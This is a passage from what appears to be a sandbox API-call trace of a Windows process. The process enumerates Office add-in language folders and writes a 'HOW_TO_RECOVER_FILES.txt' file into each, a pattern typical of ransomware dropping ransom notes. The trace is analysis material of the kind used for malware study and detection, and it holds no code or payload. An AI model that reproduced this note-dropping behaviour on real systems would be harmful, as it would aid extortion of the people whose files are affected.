(in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.529] GetFileType (hFile=0x82c) returned 0x1 [0223.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.529] GetFileType (hFile=0x82c) returned 0x1 [0223.530] WriteFile (in: hFile=0x82c, lpBuffer=0x3574e00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3574e00*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.531] CloseHandle (hObject=0x82c) returned 1 [0223.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu", lpFilePart=0x0) returned 0x51 [0223.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x575324, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.532] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.533] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0223.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.533] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu", lpFilePart=0x0) returned 0x51 [0223.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0223.534] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.534] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.534] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.535] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.535] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x575324, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.535] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.535] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hu.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.535] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0223.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.537] GetFileType (hFile=0x82c) returned 0x1 [0223.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.537] GetFileType (hFile=0x82c) returned 0x1 [0223.538] WriteFile (in: hFile=0x82c, lpBuffer=0x35885d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35885d0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.539] CloseHandle (hObject=0x82c) returned 1 [0223.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id", lpFilePart=0x0) returned 0x51 [0223.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.id.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.540] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.541] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0223.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id", lpFilePart=0x0) returned 0x51 [0223.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0223.857] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.861] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.899] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43e3cb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.899] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.899] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.899] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.id.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.899] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.id.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.899] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0223.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.900] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0223.906] GetFileType (hFile=0x630) returned 0x1 [0223.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.906] GetFileType (hFile=0x630) returned 0x1 [0223.907] WriteFile (in: hFile=0x630, lpBuffer=0x37a3120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x37a3120*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.908] CloseHandle (hObject=0x630) returned 1 [0223.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.908] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it", lpFilePart=0x0) returned 0x51 [0223.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, 